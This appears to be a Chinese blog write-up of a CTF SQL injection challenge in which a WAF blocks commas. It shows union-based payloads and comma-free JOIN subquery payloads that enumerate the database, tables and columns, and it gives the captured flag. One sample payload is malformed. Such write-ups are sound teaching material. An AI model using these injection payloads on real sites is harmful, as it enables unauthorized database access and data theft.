zoukankan      html  css  js  c++  java
  • 逗号拦截绕过

    今天做了一道i春秋上面的题,一些东西可以记录一下。

    查看源码按源码提示输入login.php?id=1

    burp抓包后也没什么有价值的信息。看了别人的wp发现,需要对第一个页面抓包,然后可以找到一个302重定向。简单理解就是在我们进入题目的那一刻有一个页面跳转。

    真实的url是l0gin.php?id=1.

    跟进这个文件

     按套路首先测一下数据库中被过滤的字符。

    发现当输入id=1' and ascii(substr((select database()),1,1))>64 %23

    逗号被waf掉了。

    学习了一下无逗号注入

    记录一下

     如果不存在逗号的问题,正常的套路应该是

    ?id=-1' union select 1,2#

    ?id=-1' union select database(),2#

    ?id=-1' union select table_name from information.schema.tables where  table_schema where table_schema=database() #

    join代替逗号:

    一,-1' union select * from (select database()) a join (select 2) b %23

    数据库名sqli

    二,查数据表

    -1' union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema='sqli') a join ( select 2 ) b %23

    三,

    -1 ' union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users') a join ( select 2 ) b %23

    四,

    -1' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select 2) b %23

    flag{39502a7a-7f1d-4bd4-bd72-eddba8603eea}

  • 相关阅读:
    Elasticsearch通关
    Zookeeper是什么
    手把手带你了解消息中间件(1)——基础
    为什么要分库分表
    mysql的innodb 引擎 表锁与行锁
    MySQL中Innodb的聚簇索引和非聚簇索引
    Redis主从和集群
    redis防止抢购商品超卖
    Laravel 核心--Facades 门面
    PHP数据库操作:使用ORM
  • 原文地址:https://www.cnblogs.com/sylover/p/10991106.html
Copyright © 2011-2022 走看看